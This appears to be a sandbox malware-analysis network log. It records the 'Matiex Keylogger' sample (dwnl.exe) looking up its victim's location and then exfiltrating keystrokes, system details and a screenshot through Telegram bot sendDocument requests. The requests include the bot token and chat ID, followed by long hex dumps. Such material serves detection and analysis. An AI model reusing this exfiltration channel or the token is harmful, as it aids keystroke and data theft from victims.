2021-09-13 04:31:47 UTC	2	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 34 2e 31 37 2e 35 32 2e 35 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 43 48 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 53 77 69 74 7a 65 72 6c 61 6e 64 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 5a 48 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 5a 75 72 69 63 68 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 5a 75 72 69 63 68 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 38 31 35 32 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 Data Ascii: <Response><IP>84.17.52.51</IP><CountryCode>CH</CountryCode><CountryName>Switzerland</CountryName><RegionCode>ZH</RegionCode><RegionName>Zurich</RegionName><City>Zurich</City><ZipCode>8152</ZipCode><TimeZone>Europe/Zurich</TimeZone><Latit

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49795	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:02 UTC	827	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d9768032c3f656 Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:02 UTC	828	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 32 63 33 66 36 35 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 4b 65 79 73 74 72 6f 6b 65 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 6b 65 79 73 74 72 6f 6b 65 20 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 75 74 Data Ascii: --------------------------8d9768032c3f656Content-Disposition: form-data; name="document"; filename="MatiexKeystroke.txt"Content-Type: application/x-ms-dos-executable/ Matiex Keylogger - Recovered keystroke \ \| System Information \| Comput
2021-09-13 04:32:03 UTC	828	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:03 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:03 UTC	829	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 32 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":289,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507522,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.5	49796	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:03 UTC	829	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d976803301f0f4 Host: api.telegram.org Content-Length: 828602
2021-09-13 04:32:03 UTC	830	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 33 30 31 66 30 66 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 5c 53 63 72 65 65 6e 73 68 6f 74 2e 70 6e 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 04 00 08 06 00 00 00 be 93 f4 43 00 00 00 01 73 52 47 42 00 ae ce Data Ascii: --------------------------8d976803301f0f4Content-Disposition: form-data; name="document"; filename="C:\Users\user\Documents\Matiex Keylogger\Screenshot.png"Content-Type: application/x-ms-dos-executablePNGIHDRCsRGB
2021-09-13 04:32:03 UTC	846	OUT	Data Raw: 3e 01 b0 15 d2 52 e8 f9 68 41 8e 8e 24 48 0f ec a0 3c 29 64 3e 08 af 8b 28 bc a5 63 fd 75 d1 f5 74 5f 5f bb a5 48 fb 7d 40 36 19 17 0f fa 5c 12 f5 6b 07 c8 c6 34 89 f6 cf 6a 70 bf 95 83 6c d6 80 6c c6 a0 b1 1b 03 6d 57 92 9b f7 bc 2e 90 30 07 2f c2 09 a2 4b b9 bc dc 97 c2 62 44 29 d2 2f 1b 48 4a c8 e3 f0 a1 04 42 4c 29 81 4f 85 7c 2e 09 89 40 02 21 fc 11 24 30 cd b5 00 38 14 aa 2b 10 f6 4a d1 ed 9e 3a 5d 02 a0 46 88 7e 10 9e 07 d2 67 af 11 00 69 1d c8 b5 25 c9 c5 31 68 3d d7 a0 f7 8f 4a d0 de 56 03 b2 19 42 69 04 60 0f 2e 21 2a 17 a4 99 06 ba dc b1 41 65 ce 16 74 26 97 83 7c 12 09 f2 91 46 45 de 0d e7 08 2f 10 c1 3b c7 0a 81 ee 7f 5d 20 3b 35 20 9b 43 40 65 0c 40 8a 79 7d 40 63 bf c1 33 6d 01 f0 6f f7 79 07 14 00 1d fc e3 1f c7 7d cd 89 7e 2c 04 d2 f7 01 Data Ascii: >RhA$H<)d>(cut__H}@6\k4jpllmW.0/KbD)/HJBL)O\|.@!$08+J:]F~gi%1h=JVBi`.!*Aet&\|FE/;] ;5 C@e@y}@c3moy}~,
2021-09-13 04:32:03 UTC	862	OUT	Data Raw: 41 f5 a8 80 2e 21 28 bc 14 79 b0 20 60 9d ab d8 33 84 36 f0 00 d0 67 12 b6 23 85 07 49 50 56 02 60 cf b7 8d fb 01 f4 e3 d0 be 9d 06 b5 75 72 97 d4 5c 1e ee a3 04 70 2e c8 fe 54 fd 5a 8b b4 8f 08 d2 cb f2 da 2f 31 46 0e c2 50 42 07 23 44 a7 dd 18 04 c0 68 0e c9 f5 27 f2 20 90 9d 1c c8 46 0e d4 27 35 20 9b 12 54 c7 00 71 19 40 a0 a7 c0 82 4b 00 12 3d 6a 90 b6 10 a0 4d 43 91 ed 47 f1 1b 02 b2 8d 59 d4 d8 d6 82 45 a9 01 20 d1 4f 82 f2 0c 00 b5 a9 06 64 73 b6 24 44 85 85 00 38 0e 9d f5 da b0 05 40 02 09 7f 4c af fa 23 01 90 d9 90 04 40 42 09 76 30 4d 29 da 96 05 ed 49 35 c0 33 d7 d2 15 cf 20 9f 44 32 9a 00 98 08 97 a2 9f 64 5e 05 c0 b8 8c 46 e0 eb 42 8a 24 08 28 6e 94 80 44 a5 05 ab 07 34 a6 33 04 cd c5 1c 5d 36 74 b8 7c 3f 15 fc 06 33 16 7a 93 a2 45 ce 02 e0 Data Ascii: A.!(y `36g#IPV`ur\p.TZ/1FPB#Dh' F'5 Tq@K=jMCGYE Ods$D8@L#@Bv0M)I53 D2d^FB$(nD43]6t\|?3zE
2021-09-13 04:32:03 UTC	878	OUT	Data Raw: 91 09 0e 53 44 e1 61 c0 76 b2 b6 72 20 47 63 28 d2 19 ca 39 37 3a 5d 4b 8d 00 18 39 69 42 04 84 17 7c 72 3c 85 83 bb c9 6e cf f6 c8 4b 34 c3 f9 50 1c 11 d8 16 ce ab 83 ca 17 4e ea c4 89 b4 4e e3 0e b6 ee c4 f6 1d ec 60 d3 b7 2c ed f8 8c 4e a2 fe 90 50 d9 6c cb da 9e 08 80 60 6c 22 ec fc 82 a0 b4 19 b4 03 8b d2 74 11 cc 17 76 c2 17 44 e2 1f 81 d2 09 16 02 e0 64 fd ca 35 4c 7f eb f5 9d 23 58 f7 02 94 76 4c fc 65 5a ec 69 1e 0e e7 34 30 6d 2b c4 cd 50 fc 63 5c bc 16 26 0a 08 44 0e 25 68 79 80 58 e2 40 69 11 28 ef 4a 32 56 fd b4 9d 81 c8 b1 e8 03 b2 19 30 ed 36 80 f9 25 41 75 1e 93 7a e1 ef 2f 02 36 79 c8 9f 07 22 20 12 02 35 41 1b d5 5a ad 47 ee 25 00 bd f7 28 fc 3e 56 b9 6f fa b4 60 4f af c1 9f 53 ea 1c cb d2 25 00 12 c8 6f 41 d4 e4 43 7e 13 f2 e9 67 01 dd Data Ascii: SDavr Gc(97:]K9iB\|r<nK4PNN`,NPl`l"tvDd5L#XvLeZi40m+Pc\&D%hyX@i(J2V06%Auz/6y" 5AZG%(>Vo`OS%oAC~g
2021-09-13 04:32:03 UTC	894	OUT	Data Raw: 16 c1 64 f7 7b 23 c0 36 9f f1 ac 67 87 f2 76 05 cc 66 65 87 d7 95 de 04 48 d9 2c f9 c6 b0 7f b8 59 a4 bf fb e6 75 e8 5c 10 37 17 63 eb 61 5e 3a db 49 d4 e6 7b 34 5d 0d b6 8e c5 a7 f7 37 ac e2 06 49 68 e5 0c a7 73 c3 35 37 f2 be 74 76 59 1f 56 e6 cd 03 0b f4 2c 4c e2 14 54 82 4e a5 1d b9 95 f0 41 af 0f 9a 3b dc 4b a8 49 40 1b a4 eb ff e6 03 fd 38 08 43 d3 88 58 48 b2 4f e5 9f 1d 05 98 47 02 7a 54 06 de b6 94 91 5a 3e 2d 33 58 3d 38 cc eb 91 83 e5 48 c1 32 40 97 fa 47 10 6b 8f 99 6b 23 35 f1 a7 e4 40 57 f2 89 01 b2 1e db 3e c1 ab 69 5a ca 00 5c 61 eb f6 41 e5 1f 70 6d 28 b7 97 75 16 80 72 bc 98 98 db 28 b2 c8 eb a7 2e 01 db f6 3f 17 7a 1e 74 40 e7 b8 cb 2e 01 18 11 f9 17 b0 32 ad 03 13 72 1e 27 54 46 e3 c5 0c 83 ad d7 a1 5b ee 28 ff 9c 80 5a 12 71 34 5f 64 Data Ascii: d{#6gvfeH,Yu\7ca^:I{4]7Ihs57tvYV,LTNA;KI@8CXHOGzTZ>-3X=8H2@Gkk#5@W>iZ\aApm(ur(.?zt@.2r'TF[(Zq4_d
2021-09-13 04:32:03 UTC	910	OUT	Data Raw: 45 1f 57 b6 7f 0f 92 f2 ef 08 c0 84 7c 71 98 70 50 88 49 0b 58 2c db b2 6c 01 c8 1e db 15 7a 84 9a 15 6e ec f1 e7 d9 81 e1 d8 28 07 20 8f f8 37 4f db cd 7f 12 56 a6 02 96 66 5d 04 60 62 76 4b 74 ee 13 90 2c 7d d8 b4 35 54 b0 f5 01 51 97 21 9d 4a 82 ed 34 53 16 15 80 0e cd 37 cf f3 eb 27 ba db dd 60 a4 0e 5d 3d 7a 99 22 54 3a e4 36 8d cd a3 0f bb 0e cb d3 62 97 33 58 fe 16 73 4c 18 45 1b 98 03 ba cd 0d 85 d4 d9 14 58 9d 26 fc 97 93 58 1a a5 b6 7c cc ba 0b a1 f5 50 b4 a9 40 51 47 8b c3 8e fd 18 58 9b 03 43 cb 47 43 ca ba 53 21 c7 90 b4 4b 50 1c 67 b2 3c b0 4b 00 d6 e8 11 80 02 82 b2 32 30 5c 17 44 f2 f5 a1 01 f0 e6 14 80 79 24 60 c2 77 10 b4 23 02 01 a8 7f cb 32 ed b8 38 51 d4 01 92 0d 92 05 53 ed 40 15 02 c5 74 bc 00 04 a0 41 45 c4 ea 71 0f 1b 64 0d 5f ce Data Ascii: EW\|qpPIX,lzn( 7OVf]`bvKt,}5TQ!J4S7'`]=z"T:6b3XsLEX&X\|P@QGXCGCS!KPg<K20\Dy$`w#28QS@tAEqd_
2021-09-13 04:32:03 UTC	926	OUT	Data Raw: c7 74 8f ed 7a 0b c0 d5 2d a1 ac b6 b3 4f b0 62 80 31 35 3d 68 bf f0 bb e3 05 a0 95 79 96 95 d3 9e 20 b0 65 16 2f 79 ea 44 e1 17 47 8c b5 b4 e2 68 3a 56 fc 65 11 e5 84 55 47 86 a1 8d 1b 99 66 e5 5f 3e a7 cc 79 36 84 95 71 73 11 b6 37 17 69 fd 58 8e 72 1f 3d be 4e 94 be 65 55 0a 01 18 ae 55 b6 ee e5 b8 44 01 48 47 03 82 d4 a6 b4 3d da 0f 27 31 34 5d 0d db 96 0b 9c 00 5c 0b e7 82 97 80 91 f6 5c f4 e7 a9 3f b7 8b fb 81 42 ef 1d f1 7a 83 7b 4b bc 4e c5 fb 8d bd 0e 66 09 98 ae 77 05 7d 02 10 98 7b 2f ee e1 3b bb 00 ec 95 80 4e f6 55 49 f1 d5 54 01 68 05 1f 63 15 b1 20 e2 3c 37 bf cd 83 8b b4 b1 e4 38 94 2c db 10 24 66 6e cb 51 08 c0 2c ff b8 00 94 fe 49 db 69 6c 3b 59 b6 b3 9c 3b cd 3a d2 2d a1 e2 ab db 21 73 90 4e 9b ca bf 65 08 40 db 99 9b 07 96 67 2f e9 91 Data Ascii: tz-Ob15=hy e/yDGh:VeUGf_>y6qs7iXr=NeUUDHG='14]\\?Bz{KNfw}{/;NUIThc <78,$fnQ,Iil;Y;:-!sNe@g/
2021-09-13 04:32:03 UTC	942	OUT	Data Raw: d3 9e 16 38 fd c9 11 fc ad d8 4e 66 0f 51 20 99 0e 2a e9 c0 82 8e 08 4c e8 48 b2 1a a5 3c 22 a8 28 aa c8 a2 fc 28 6d 92 81 fa 88 b0 8a 23 2b 03 95 3c 6a 0c ef 7b bb 47 1c 11 98 c1 63 c2 f7 8a 8f 0a 8b 90 81 94 b8 f7 ab 64 44 9f 8c ee fb 95 d7 47 92 e4 9b dd ef 0d cd ca af bc a9 c3 ea af bc b5 60 e5 7e 6f 29 97 ab 20 bc ef 6b 5b 41 a2 02 08 12 09 a3 04 ef fe f2 28 b2 30 e2 0d 02 0c 92 53 1e 1b 7e 5e 13 df 23 18 d0 ba 3c 3d d4 75 60 ed b4 40 38 66 bb 9d fe cc 66 37 88 be 24 01 57 c3 df 16 99 7f c6 d3 9a b5 b0 ee da 59 4f 97 e9 ea 99 17 74 90 f9 67 59 dc 63 c0 67 3e c7 f1 3c 99 e6 0f a0 e0 18 f6 e1 8e ab ca bf d5 3b 5f 18 8e 23 48 72 d7 3e ea 6d 8e a5 17 7e 75 d9 5b c1 c8 a4 31 e8 a3 e4 59 50 61 54 a7 fc 8d 51 70 ed 34 4a b8 ae e0 9b 9f 28 c7 14 15 67 2d ad Data Ascii: 8NfQ *LH<"((m#+<j{GcdDG`~o) k[A(0S~^#<=u`@8ff7$WYOtgYcg><;_#Hr>m~u[1YPaTQp4J(g-
2021-09-13 04:32:03 UTC	958	OUT	Data Raw: 9f 23 f5 f7 a3 3c 8c cd 8e b5 49 32 ce 7d 14 83 e6 9a 7b f9 bf 1c a5 58 e7 59 6c 5e e8 b7 ad 16 ca 32 a3 a4 2c 2f 7a 6b ec 99 e1 e5 e3 51 68 bb bf 94 4c fc 79 d8 fc 3c 15 28 ee 83 f1 d3 cc eb ee fd 31 08 93 bf 5d b8 12 54 c0 4d 73 15 a7 d2 66 f0 2a 7a a3 90 c9 3e a1 bb f1 51 a9 c2 99 2a 9e a5 f0 73 2b ab 0e a5 f0 13 b4 49 cc b0 68 c5 b9 d1 c4 d7 c8 bb f1 c0 92 cf 99 df 99 49 15 f7 52 d6 15 94 d2 cf c3 93 7e d9 72 91 7e 2a fe d2 8b 05 04 e0 08 12 b0 41 1f f9 37 a9 02 70 7b 7a 71 72 69 ca 3e 6d 8a 65 69 08 3d 87 14 c1 61 a8 76 42 73 5e 7a c1 4b 7d 40 35 25 1d 93 e4 df 55 35 49 fe 11 56 de 0d 81 36 f1 4d 4d 7d 31 9f 85 5f 2d fe b2 a6 be 2c f9 2c 22 f6 06 91 c4 5f a4 14 7f 00 9d e8 bb 82 cf 82 be b5 ca 79 23 08 40 ed c3 8b fb f1 72 04 60 ec ab ee 35 19 fc b2 Data Ascii: #<I2}{XYl^2,/zkQhLy<(1]TMsfz>Qs+IhIR~r~*A7p{zqri>mei=avBs^zK}@5%U5IV6MM}1_-,,"_y#@r`5
2021-09-13 04:32:03 UTC	974	OUT	Data Raw: 41 42 a8 ee 80 fa 47 d6 5f 31 24 a0 ad f3 80 f9 74 5d 4d fd 48 eb ef 10 80 2c 01 cd bb 02 f0 ea 89 ca a0 e5 93 48 b3 0e 5b d4 77 cd 7b 80 d6 8d a3 00 c4 48 ad 90 15 3c 6a eb 2e a1 b3 0a 3e 3b e9 8b b7 8a cd 80 ff e1 65 a1 f3 8c 17 f5 07 51 7e 0a 04 d4 d3 ff 29 f2 cc 97 86 ce b3 57 a3 9b 98 b6 03 f0 19 72 0a 32 0c 51 69 0a a6 15 9d 87 66 ad 88 a0 43 8a 01 42 f0 3b 2c 0d 69 fb d8 27 e5 1f 57 97 65 22 bf 74 9e 82 69 6c e3 85 9b 8f 4f 00 a2 d9 30 a2 00 b1 2f e5 3e 73 13 52 fc 3d 1a 16 6d 2f c7 a5 c7 20 fb 8f 88 39 66 a5 19 a1 fb 9c d5 63 24 9f 03 f7 83 27 23 e1 76 11 f1 27 f0 34 d6 a1 6d 54 2f de 22 74 5f b8 71 da 56 b6 3f 8a 3d 6f 76 7e b6 bf 22 d7 70 bd 44 f8 31 7a 6d 14 08 4b bd a6 34 cd bf ab c7 83 fd 18 8f 00 44 73 59 44 01 3e 7f 83 d0 79 ce 1a 11 3d 76 Data Ascii: ABG_1$t]MH,H[w{H<j.>;eQ~)Wr2QifCB;,i'We"tilO0/>sR=m/ 9fc$'#v'4mT/"t_qV?=ov~"pD1zmK4DsYD>y=v
2021-09-13 04:32:03 UTC	990	OUT	Data Raw: ae 67 d1 e5 9c 96 bf 6d f3 58 3f 52 fe 9b 00 d8 8e 9e a7 c6 36 4d 5e ec 83 15 68 6d 78 df b3 78 df 51 91 66 a5 1b c8 25 9b 23 01 8d 00 74 b7 4b d8 65 15 04 9d 59 96 e6 15 bf 33 3a b5 fc 1b 46 00 76 14 2b eb 4a 92 bc 33 0c 58 67 85 00 1c 9f 00 e4 11 5a 97 96 00 74 1e f0 53 5f 00 36 a5 9f 85 2b 41 8d 81 10 80 1f 11 95 50 c1 47 15 aa 36 ca e8 be 28 fa 6a b2 c1 10 76 bc a2 1d ae c0 69 45 ee 6a 91 27 2f 67 5c 11 52 52 8a 11 b3 8c fb 8f 29 a8 76 7d 79 e8 ed 72 0d 51 a7 63 bb 5e 4b bc 82 53 cc ab e6 d0 e7 9d 5f 11 7a b4 2f 1a 45 88 66 c5 dc 34 19 62 48 cf d3 b6 0b 23 db 10 5b d3 79 9d 4d e7 1b 6c 85 08 42 54 38 cf ab d9 8a ae 21 2a 9e 40 9b 1e e3 f3 ec b3 29 4f 80 38 50 8c a5 94 74 93 8d 97 e7 aa 6d ce 4d 34 f3 5b 4e 99 3f 4b bc ef 8c 84 2b f9 3c 6a e9 67 05 76 Data Ascii: gmX?R6M^hmxxQf%#tKeY3:Fv+J3XgZtS_6+APG6(jviEj'/g\RR)v}yrQc^KS_z/Ef4bH#[yMlBT8!*@)O8PtmM4[N?K+<jgv
2021-09-13 04:32:03 UTC	1006	OUT	Data Raw: 5a 21 7b 1d 7f df a8 d5 94 b9 6a 25 65 ae c4 b1 f2 31 a7 a4 a0 45 9b e3 da 08 bc 50 e6 a1 e9 73 73 71 12 cf 43 46 3b 6e 06 d9 2b f9 3a 32 99 2b f0 39 4f 0c 2a 7a dd ed 7d d0 48 4d 91 b8 b8 cf 36 3f a8 10 34 03 89 bc 97 8c 2a 2c f9 d6 88 c0 cc 70 8c 24 8c a8 40 2e 57 28 67 28 8f 47 32 47 2c a1 ec a1 8b 28 77 88 19 30 24 73 00 3f 4f 30 22 39 9e 6b 03 f9 19 89 e7 66 bf c9 94 ed 3b 81 f2 bd c7 ca ef 0d fc 33 55 5a 4e 74 e1 77 0e 7e 5b ca 7b 8d df 83 78 8f 42 04 42 02 02 fe 3d 20 ff 30 b4 2d 06 44 04 e2 b7 b7 15 7f 51 01 a8 04 02 50 d0 28 c0 10 5f ee 35 87 52 a2 ae 14 2a ff 4a 4a 40 6f 7f b1 fd a6 04 60 44 02 6e 88 02 50 51 d1 e7 84 5e b0 ce 89 b8 e6 08 c0 c8 e7 cd 76 4d 08 40 bb ad fb ae 00 5f e6 ad 0d 4e 00 96 22 22 f0 0c be ec 8b 61 b7 fb 63 2c 9a d0 22 02 Data Ascii: Z!{j%e1EPssqCF;n+:2+9Oz}HM6?4,p$@.W(g(G2G,(w0$s?O0"9kf;3UZNtw~[{xBB= 0-DQP(_5R*JJ@o`DnPQ^vM@_N""ac,"
2021-09-13 04:32:03 UTC	1022	OUT	Data Raw: 60 6e ee 1a 27 03 f3 f3 d6 50 05 a7 90 81 1b dd d6 40 df bd d3 44 05 fe ec 7e a2 5f 30 bf 7e 88 e8 0f 8b 88 fe fc 28 ef ff 61 a2 bf 3c 48 f4 d7 07 78 9a b7 f9 c3 42 a2 df dc 5a 47 ff c3 fb fb e9 cc 95 f4 c3 9b 96 d3 f7 a7 7d 4a df 9e f6 19 55 4d fb 84 2a a6 2f a3 8a 9b 97 53 e5 8c cf a9 e2 96 55 54 31 6b 35 55 cc e6 ef 9e c3 cc ad a3 ec 3c d0 40 d9 05 8d 86 f9 94 c0 cb d1 77 21 9a 33 4b 3f 86 b3 eb f9 b3 f5 94 bf 85 e1 73 ab 98 c1 cb 6f e6 74 7a 1d 15 6e ac 35 51 88 53 79 bf 93 98 09 d5 94 19 b3 82 32 d7 31 d7 f0 fd 86 08 bc 94 f3 cf 05 18 9c 86 cb c2 e9 5c de 4e 82 08 7c 9a 9f 11 10 81 fc 3c c2 f3 0d cf 51 bc 9f d1 1a 02 d1 80 68 1a 2c ff 50 e3 df 86 90 81 fc ee 94 c8 7b b4 1a e3 77 97 2f 02 25 98 04 fd d5 8b 08 e4 df c7 51 f9 07 9a 29 00 7f 7a ec de 22 Data Ascii: `n'P@D~_0~(a<HxBZG}JUM*/SUT1k5U<@w!3K?sotzn5QSy21\N\|<Qh,P{w/%Q)z"
2021-09-13 04:32:03 UTC	1038	OUT	Data Raw: 67 a2 f2 0f 94 13 80 9e 08 8c 89 bf 90 72 12 30 16 29 18 13 80 40 07 fe 58 55 5d 2b e9 e6 83 c6 8a 00 dc 6c 60 52 c7 d5 75 a7 5f 77 df 17 2e 00 b3 a3 1b 8c 04 14 ea 28 3b b6 de 00 11 38 ce c8 c0 dc 38 cc d7 8b 08 4c a8 13 0a 13 eb a9 c0 db 38 26 a5 45 20 06 11 c9 ea 48 c2 4e 06 02 9e 9f c9 a9 8e 22 3c b7 ce 89 c0 c2 bc 7a aa 9c df 40 55 0b ea a9 f5 82 3a 6a 3d 6f 0d 7d 67 7e 2d fd 88 a7 7f 7e 5b 3d fd df ed 8d f4 a7 85 44 9b dc c5 d7 ef 1e 33 68 48 3b 8c 1e bc 88 a8 c7 62 a2 be 4b 88 06 3e 41 74 c0 93 46 04 a2 89 f0 f0 a7 6b e8 f4 a5 6b e8 bc 17 d6 d0 25 2f d5 d2 95 2f af 91 26 bf d7 bf b2 86 6e 7a ab 81 e6 32 77 bc 4b 74 ef 7b 44 0f 7d 40 f4 d8 47 44 8b 3f 26 5a f2 09 f3 59 23 2d 59 56 4f 4f 2c ab a3 a7 97 d7 d3 52 e6 c5 65 0d f4 ca 67 a0 86 de 5a 5d 4b Data Ascii: gr0)@XU]+l`Ru_w.(;88L8&E HN"<z@U:j=o}g~-~[=D3hH;bK>AtFkk%//&nz2wKt{D}@GD?&ZY#-YVOO,RegZ]K
2021-09-13 04:32:03 UTC	1054	OUT	Data Raw: 23 00 33 7d 70 9f fa e1 9e f5 47 3a 00 0c c4 f4 3d 3e 9a 6f 30 7e 1f 31 a2 0f 64 47 6c 94 fc a8 cd da b4 b5 c3 c4 7a a9 9a dc 28 9d a7 36 4b d7 e9 22 dd 67 a2 3e 3d bd 59 a5 5f 97 99 6c 86 db a2 d3 6c d6 5b 35 a3 49 3a 02 46 e9 19 94 7a 46 f9 4c 47 d9 b4 7a 25 3f b5 41 72 53 6a 25 3b b9 4e c9 4d ac 55 32 e3 3d d8 7f 66 ec 56 c7 e8 2d 92 19 b9 49 32 23 36 47 72 2f 33 aa 21 c2 22 f0 48 4c ce 8d 69 41 5e 33 d6 a1 d4 6b 74 72 6f 94 14 18 e9 19 d1 22 99 e1 9e 11 9c 77 f9 59 0a 40 8a 42 a4 44 d7 e5 3a 23 b1 4d 32 0a d3 5e 24 16 a4 5f 31 91 00 f4 70 5e 9b 03 4f c0 31 4d c6 36 a6 20 6f b2 13 80 55 63 d7 ca 61 93 5e 91 2b 9f 5e 2d 4b 45 64 fa 6a 91 73 a6 ff 43 7a 5c f3 b0 f6 63 bd 5d 02 90 c3 4a b3 b0 ad 5e b7 51 8e fd d1 30 cf 50 65 e6 d2 3f 2b 9c de b4 69 93 d4 Data Ascii: #3}pG:=>o0~1dGlz(6K"g>=Y_ll[5I:FzFLGz%?ArSj%;NMU2=fV-I2#6Gr/3!"HLiA^3ktro"wY@BD:#M2^$_1p^O1M6 oUca^+^-KEdjsCz\c]J^Q0Pe?+i
